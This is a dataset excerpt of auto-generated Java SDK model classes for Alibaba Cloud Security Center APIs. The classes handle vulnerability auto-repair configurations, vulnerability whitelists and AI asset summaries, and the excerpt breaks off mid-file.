index int64 | repo_id string | file_path string | content string |
|---|---|---|---|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulAutoRepairConfigRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulAutoRepairConfigRequest} extends {@link RequestModel}
*
* <p>DeleteVulAutoRepairConfigRequest</p>
*/
public class DeleteVulAutoRepairConfigRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("AliasName")
private String aliasName;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ConfigIdList")
private java.util.List<Long> configIdList;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
private DeleteVulAutoRepairConfigRequest(Builder builder) {
super(builder);
this.aliasName = builder.aliasName;
this.configIdList = builder.configIdList;
this.type = builder.type;
}
public static Builder builder() {
return new Builder();
}
public static DeleteVulAutoRepairConfigRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return aliasName
*/
public String getAliasName() {
return this.aliasName;
}
/**
* @return configIdList
*/
public java.util.List<Long> getConfigIdList() {
return this.configIdList;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
public static final class Builder extends Request.Builder<DeleteVulAutoRepairConfigRequest, Builder> {
private String aliasName;
private java.util.List<Long> configIdList;
private String type;
private Builder() {
super();
}
private Builder(DeleteVulAutoRepairConfigRequest request) {
super(request);
this.aliasName = request.aliasName;
this.configIdList = request.configIdList;
this.type = request.type;
}
/**
* <p>The alias of the vulnerability.</p>
*
* <strong>example:</strong>
* <p>RHSA-2017:0184-Important: mysql security update</p>
*/
public Builder aliasName(String aliasName) {
this.putQueryParameter("AliasName", aliasName);
this.aliasName = aliasName;
return this;
}
/**
* <p>The IDs of the configurations.</p>
* <blockquote>
* <p> You can call the <a href="~~ListVulAutoRepairConfig~~">ListVulAutoRepairConfig</a> operation to query the IDs.</p>
* </blockquote>
*/
public Builder configIdList(java.util.List<Long> configIdList) {
this.putQueryParameter("ConfigIdList", configIdList);
this.configIdList = configIdList;
return this;
}
/**
* <p>The type of the vulnerability. Valid values:</p>
* <ul>
* <li>cve: Linux software vulnerability</li>
* <li>sys: Windows system vulnerability</li>
* </ul>
*
* <strong>example:</strong>
* <p>cve</p>
*/
public Builder type(String type) {
this.putQueryParameter("Type", type);
this.type = type;
return this;
}
@Override
public DeleteVulAutoRepairConfigRequest build() {
return new DeleteVulAutoRepairConfigRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulAutoRepairConfigResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulAutoRepairConfigResponse} extends {@link TeaModel}
*
* <p>DeleteVulAutoRepairConfigResponse</p>
*/
public class DeleteVulAutoRepairConfigResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DeleteVulAutoRepairConfigResponseBody body;
private DeleteVulAutoRepairConfigResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DeleteVulAutoRepairConfigResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DeleteVulAutoRepairConfigResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DeleteVulAutoRepairConfigResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DeleteVulAutoRepairConfigResponseBody body);
@Override
DeleteVulAutoRepairConfigResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DeleteVulAutoRepairConfigResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DeleteVulAutoRepairConfigResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DeleteVulAutoRepairConfigResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DeleteVulAutoRepairConfigResponseBody body) {
this.body = body;
return this;
}
@Override
public DeleteVulAutoRepairConfigResponse build() {
return new DeleteVulAutoRepairConfigResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulAutoRepairConfigResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulAutoRepairConfigResponseBody} extends {@link TeaModel}
*
* <p>DeleteVulAutoRepairConfigResponseBody</p>
*/
public class DeleteVulAutoRepairConfigResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DeleteVulAutoRepairConfigResponseBody(Builder builder) {
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DeleteVulAutoRepairConfigResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private String requestId;
private Builder() {
}
private Builder(DeleteVulAutoRepairConfigResponseBody model) {
this.requestId = model.requestId;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>3956048F-9D73-5EDB-834B-4827BB48****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DeleteVulAutoRepairConfigResponseBody build() {
return new DeleteVulAutoRepairConfigResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulWhitelistRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulWhitelistRequest} extends {@link RequestModel}
*
* <p>DeleteVulWhitelistRequest</p>
*/
public class DeleteVulWhitelistRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Id")
private String id;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Whitelist")
private String whitelist;
private DeleteVulWhitelistRequest(Builder builder) {
super(builder);
this.id = builder.id;
this.whitelist = builder.whitelist;
}
public static Builder builder() {
return new Builder();
}
public static DeleteVulWhitelistRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return id
*/
public String getId() {
return this.id;
}
/**
* @return whitelist
*/
public String getWhitelist() {
return this.whitelist;
}
public static final class Builder extends Request.Builder<DeleteVulWhitelistRequest, Builder> {
private String id;
private String whitelist;
private Builder() {
super();
}
private Builder(DeleteVulWhitelistRequest request) {
super(request);
this.id = request.id;
this.whitelist = request.whitelist;
}
/**
* <p>The ID of the whitelist.</p>
* <blockquote>
* <p> To delete a vulnerability whitelist, you must provide the ID of the whitelist. You can call the <a href="~~DescribeVulWhitelist~~">DescribeVulWhitelist</a> operation to query the IDs of whitelists.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>131231</p>
*/
public Builder id(String id) {
this.putQueryParameter("Id", id);
this.id = id;
return this;
}
/**
* <p>The information about the whitelist. The value is a JSON string that contains the following fields:</p>
* <ul>
* <li><p><strong>Name</strong>: the name of the vulnerability.</p>
* </li>
* <li><p><strong>Type</strong>: the type of the vulnerability. Valid values:</p>
* <ul>
* <li><strong>cve</strong>: Linux software vulnerability</li>
* <li><strong>sys</strong>: Windows system vulnerability</li>
* <li><strong>cms</strong>: Web-CMS vulnerability</li>
* <li><strong>app</strong>: application vulnerability</li>
* <li><strong>emg</strong>: urgent vulnerability</li>
* </ul>
* </li>
* <li><p><strong>AliasName</strong>: the alias of the vulnerability.</p>
* </li>
* </ul>
*
* <strong>example:</strong>
* <p>[
* {
* "Name": "oval:com.redhat.rhsa:def:20173263",
* "Type": "cve",
* "AliasName": "RHSA-2017:3263: curl security update"
* }
* ]</p>
*/
public Builder whitelist(String whitelist) {
this.putQueryParameter("Whitelist", whitelist);
this.whitelist = whitelist;
return this;
}
@Override
public DeleteVulWhitelistRequest build() {
return new DeleteVulWhitelistRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulWhitelistResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulWhitelistResponse} extends {@link TeaModel}
*
* <p>DeleteVulWhitelistResponse</p>
*/
public class DeleteVulWhitelistResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DeleteVulWhitelistResponseBody body;
private DeleteVulWhitelistResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DeleteVulWhitelistResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DeleteVulWhitelistResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DeleteVulWhitelistResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DeleteVulWhitelistResponseBody body);
@Override
DeleteVulWhitelistResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DeleteVulWhitelistResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DeleteVulWhitelistResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DeleteVulWhitelistResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DeleteVulWhitelistResponseBody body) {
this.body = body;
return this;
}
@Override
public DeleteVulWhitelistResponse build() {
return new DeleteVulWhitelistResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DeleteVulWhitelistResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DeleteVulWhitelistResponseBody} extends {@link TeaModel}
*
* <p>DeleteVulWhitelistResponseBody</p>
*/
public class DeleteVulWhitelistResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DeleteVulWhitelistResponseBody(Builder builder) {
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DeleteVulWhitelistResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private String requestId;
private Builder() {
}
private Builder(DeleteVulWhitelistResponseBody model) {
this.requestId = model.requestId;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>9FBC6E47-7508-58C9-9E76-528E118CB1CC</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DeleteVulWhitelistResponseBody build() {
return new DeleteVulWhitelistResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAIAssetSummaryRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAIAssetSummaryRequest} extends {@link RequestModel}
*
* <p>DescribeAIAssetSummaryRequest</p>
*/
public class DescribeAIAssetSummaryRequest extends Request {
private DescribeAIAssetSummaryRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeAIAssetSummaryRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeAIAssetSummaryRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeAIAssetSummaryRequest request) {
super(request);
}
@Override
public DescribeAIAssetSummaryRequest build() {
return new DescribeAIAssetSummaryRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAIAssetSummaryResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAIAssetSummaryResponse} extends {@link TeaModel}
*
* <p>DescribeAIAssetSummaryResponse</p>
*/
public class DescribeAIAssetSummaryResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAIAssetSummaryResponseBody body;
private DescribeAIAssetSummaryResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAIAssetSummaryResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAIAssetSummaryResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAIAssetSummaryResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAIAssetSummaryResponseBody body);
@Override
DescribeAIAssetSummaryResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAIAssetSummaryResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAIAssetSummaryResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAIAssetSummaryResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAIAssetSummaryResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAIAssetSummaryResponse build() {
return new DescribeAIAssetSummaryResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAIAssetSummaryResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAIAssetSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAIAssetSummaryResponseBody</p>
*/
public class DescribeAIAssetSummaryResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private Data data;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAIAssetSummaryResponseBody(Builder builder) {
this.data = builder.data;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAIAssetSummaryResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public Data getData() {
return this.data;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private Data data;
private String requestId;
private Builder() {
}
private Builder(DescribeAIAssetSummaryResponseBody model) {
this.data = model.data;
this.requestId = model.requestId;
}
/**
* <p>The returned data.</p>
*/
public Builder data(Data data) {
this.data = data;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>F8B6F758-BCD4-597A-8A2C-DA5A552C****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAIAssetSummaryResponseBody build() {
return new DescribeAIAssetSummaryResponseBody(this);
}
}
/**
*
* {@link DescribeAIAssetSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAIAssetSummaryResponseBody</p>
*/
public static class SensitiveSummary extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ContainerImageCnt")
private Integer containerImageCnt;
@com.aliyun.core.annotation.NameInMap("EcsCnt")
private Integer ecsCnt;
@com.aliyun.core.annotation.NameInMap("ImageCnt")
private Integer imageCnt;
@com.aliyun.core.annotation.NameInMap("SnapshotCnt")
private Integer snapshotCnt;
@com.aliyun.core.annotation.NameInMap("TotalCnt")
private Integer totalCnt;
private SensitiveSummary(Builder builder) {
this.containerImageCnt = builder.containerImageCnt;
this.ecsCnt = builder.ecsCnt;
this.imageCnt = builder.imageCnt;
this.snapshotCnt = builder.snapshotCnt;
this.totalCnt = builder.totalCnt;
}
public static Builder builder() {
return new Builder();
}
public static SensitiveSummary create() {
return builder().build();
}
/**
* @return containerImageCnt
*/
public Integer getContainerImageCnt() {
return this.containerImageCnt;
}
/**
* @return ecsCnt
*/
public Integer getEcsCnt() {
return this.ecsCnt;
}
/**
* @return imageCnt
*/
public Integer getImageCnt() {
return this.imageCnt;
}
/**
* @return snapshotCnt
*/
public Integer getSnapshotCnt() {
return this.snapshotCnt;
}
/**
* @return totalCnt
*/
public Integer getTotalCnt() {
return this.totalCnt;
}
public static final class Builder {
private Integer containerImageCnt;
private Integer ecsCnt;
private Integer imageCnt;
private Integer snapshotCnt;
private Integer totalCnt;
private Builder() {
}
private Builder(SensitiveSummary model) {
this.containerImageCnt = model.containerImageCnt;
this.ecsCnt = model.ecsCnt;
this.imageCnt = model.imageCnt;
this.snapshotCnt = model.snapshotCnt;
this.totalCnt = model.totalCnt;
}
/**
* <p>The number of images that have AI-related keys are stored in plaintext detected by image scan.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder containerImageCnt(Integer containerImageCnt) {
this.containerImageCnt = containerImageCnt;
return this;
}
/**
* <p>The number of servers that have AI-related keys are stored in plaintext detected by agentless scan.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder ecsCnt(Integer ecsCnt) {
this.ecsCnt = ecsCnt;
return this;
}
/**
* <p>The number of images that have AI-related keys are stored in plaintext detected by agentless scan.</p>
*
* <strong>example:</strong>
* <p>3</p>
*/
public Builder imageCnt(Integer imageCnt) {
this.imageCnt = imageCnt;
return this;
}
/**
* <p>The number of snapshots that have AI-related keys are stored in plaintext detected by agentless scan.</p>
*
* <strong>example:</strong>
* <p>4</p>
*/
public Builder snapshotCnt(Integer snapshotCnt) {
this.snapshotCnt = snapshotCnt;
return this;
}
/**
* <p>The total number of assets that have AI-related keys are stored in plaintext.</p>
*
* <strong>example:</strong>
* <p>9</p>
*/
public Builder totalCnt(Integer totalCnt) {
this.totalCnt = totalCnt;
return this;
}
public SensitiveSummary build() {
return new SensitiveSummary(this);
}
}
}
/**
*
* {@link DescribeAIAssetSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAIAssetSummaryResponseBody</p>
*/
public static class Data extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AispmRiskAssetCnt")
private Integer aispmRiskAssetCnt;
@com.aliyun.core.annotation.NameInMap("EcsAssetCnt")
private Integer ecsAssetCnt;
@com.aliyun.core.annotation.NameInMap("ExposedRiskAssetCnt")
private Integer exposedRiskAssetCnt;
@com.aliyun.core.annotation.NameInMap("ImageAssetCnt")
private Integer imageAssetCnt;
@com.aliyun.core.annotation.NameInMap("LingjunAssetCnt")
private Integer lingjunAssetCnt;
@com.aliyun.core.annotation.NameInMap("PaiContainerCnt")
private Integer paiContainerCnt;
@com.aliyun.core.annotation.NameInMap("PaiInstanceCnt")
private Integer paiInstanceCnt;
@com.aliyun.core.annotation.NameInMap("PaiServerlessAssetCnt")
private Integer paiServerlessAssetCnt;
@com.aliyun.core.annotation.NameInMap("SensitiveSummary")
private SensitiveSummary sensitiveSummary;
@com.aliyun.core.annotation.NameInMap("SnapshotAssetCnt")
private Integer snapshotAssetCnt;
@com.aliyun.core.annotation.NameInMap("TotalAssetCnt")
private Integer totalAssetCnt;
@com.aliyun.core.annotation.NameInMap("TotalRiskCnt")
private Integer totalRiskCnt;
@com.aliyun.core.annotation.NameInMap("VulRiskAssetCnt")
private Integer vulRiskAssetCnt;
private Data(Builder builder) {
this.aispmRiskAssetCnt = builder.aispmRiskAssetCnt;
this.ecsAssetCnt = builder.ecsAssetCnt;
this.exposedRiskAssetCnt = builder.exposedRiskAssetCnt;
this.imageAssetCnt = builder.imageAssetCnt;
this.lingjunAssetCnt = builder.lingjunAssetCnt;
this.paiContainerCnt = builder.paiContainerCnt;
this.paiInstanceCnt = builder.paiInstanceCnt;
this.paiServerlessAssetCnt = builder.paiServerlessAssetCnt;
this.sensitiveSummary = builder.sensitiveSummary;
this.snapshotAssetCnt = builder.snapshotAssetCnt;
this.totalAssetCnt = builder.totalAssetCnt;
this.totalRiskCnt = builder.totalRiskCnt;
this.vulRiskAssetCnt = builder.vulRiskAssetCnt;
}
public static Builder builder() {
return new Builder();
}
public static Data create() {
return builder().build();
}
/**
* @return aispmRiskAssetCnt
*/
public Integer getAispmRiskAssetCnt() {
return this.aispmRiskAssetCnt;
}
/**
* @return ecsAssetCnt
*/
public Integer getEcsAssetCnt() {
return this.ecsAssetCnt;
}
/**
* @return exposedRiskAssetCnt
*/
public Integer getExposedRiskAssetCnt() {
return this.exposedRiskAssetCnt;
}
/**
* @return imageAssetCnt
*/
public Integer getImageAssetCnt() {
return this.imageAssetCnt;
}
/**
* @return lingjunAssetCnt
*/
public Integer getLingjunAssetCnt() {
return this.lingjunAssetCnt;
}
/**
* @return paiContainerCnt
*/
public Integer getPaiContainerCnt() {
return this.paiContainerCnt;
}
/**
* @return paiInstanceCnt
*/
public Integer getPaiInstanceCnt() {
return this.paiInstanceCnt;
}
/**
* @return paiServerlessAssetCnt
*/
public Integer getPaiServerlessAssetCnt() {
return this.paiServerlessAssetCnt;
}
/**
* @return sensitiveSummary
*/
public SensitiveSummary getSensitiveSummary() {
return this.sensitiveSummary;
}
/**
* @return snapshotAssetCnt
*/
public Integer getSnapshotAssetCnt() {
return this.snapshotAssetCnt;
}
/**
* @return totalAssetCnt
*/
public Integer getTotalAssetCnt() {
return this.totalAssetCnt;
}
/**
* @return totalRiskCnt
*/
public Integer getTotalRiskCnt() {
return this.totalRiskCnt;
}
/**
* @return vulRiskAssetCnt
*/
public Integer getVulRiskAssetCnt() {
return this.vulRiskAssetCnt;
}
public static final class Builder {
private Integer aispmRiskAssetCnt;
private Integer ecsAssetCnt;
private Integer exposedRiskAssetCnt;
private Integer imageAssetCnt;
private Integer lingjunAssetCnt;
private Integer paiContainerCnt;
private Integer paiInstanceCnt;
private Integer paiServerlessAssetCnt;
private SensitiveSummary sensitiveSummary;
private Integer snapshotAssetCnt;
private Integer totalAssetCnt;
private Integer totalRiskCnt;
private Integer vulRiskAssetCnt;
private Builder() {
}
private Builder(Data model) {
this.aispmRiskAssetCnt = model.aispmRiskAssetCnt;
this.ecsAssetCnt = model.ecsAssetCnt;
this.exposedRiskAssetCnt = model.exposedRiskAssetCnt;
this.imageAssetCnt = model.imageAssetCnt;
this.lingjunAssetCnt = model.lingjunAssetCnt;
this.paiContainerCnt = model.paiContainerCnt;
this.paiInstanceCnt = model.paiInstanceCnt;
this.paiServerlessAssetCnt = model.paiServerlessAssetCnt;
this.sensitiveSummary = model.sensitiveSummary;
this.snapshotAssetCnt = model.snapshotAssetCnt;
this.totalAssetCnt = model.totalAssetCnt;
this.totalRiskCnt = model.totalRiskCnt;
this.vulRiskAssetCnt = model.vulRiskAssetCnt;
}
/**
* <p>The number of cloud assets with AI security posture management risks.</p>
*
* <strong>example:</strong>
* <p>15</p>
*/
public Builder aispmRiskAssetCnt(Integer aispmRiskAssetCnt) {
this.aispmRiskAssetCnt = aispmRiskAssetCnt;
return this;
}
/**
* <p>The number of servers on which AI components are installed.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder ecsAssetCnt(Integer ecsAssetCnt) {
this.ecsAssetCnt = ecsAssetCnt;
return this;
}
/**
* <p>The number of servers that have exposed AI components.</p>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder exposedRiskAssetCnt(Integer exposedRiskAssetCnt) {
this.exposedRiskAssetCnt = exposedRiskAssetCnt;
return this;
}
/**
* <p>The number of AI images.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder imageAssetCnt(Integer imageAssetCnt) {
this.imageAssetCnt = imageAssetCnt;
return this;
}
/**
* <p>The number of LINGJUN assets.</p>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder lingjunAssetCnt(Integer lingjunAssetCnt) {
this.lingjunAssetCnt = lingjunAssetCnt;
return this;
}
/**
* <p>The number of container image assets in PAI.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder paiContainerCnt(Integer paiContainerCnt) {
this.paiContainerCnt = paiContainerCnt;
return this;
}
/**
* <p>The total number of cloud asset instances in Platform for AI (PAI).</p>
*
* <strong>example:</strong>
* <p>17</p>
*/
public Builder paiInstanceCnt(Integer paiInstanceCnt) {
this.paiInstanceCnt = paiInstanceCnt;
return this;
}
/**
* <p>The number of serverless assets in PAI.</p>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder paiServerlessAssetCnt(Integer paiServerlessAssetCnt) {
this.paiServerlessAssetCnt = paiServerlessAssetCnt;
return this;
}
/**
* <p>The statistics on assets that have AI-related keys are stored in plaintext.</p>
*/
public Builder sensitiveSummary(SensitiveSummary sensitiveSummary) {
this.sensitiveSummary = sensitiveSummary;
return this;
}
/**
* <p>The number of AI snapshots.</p>
*
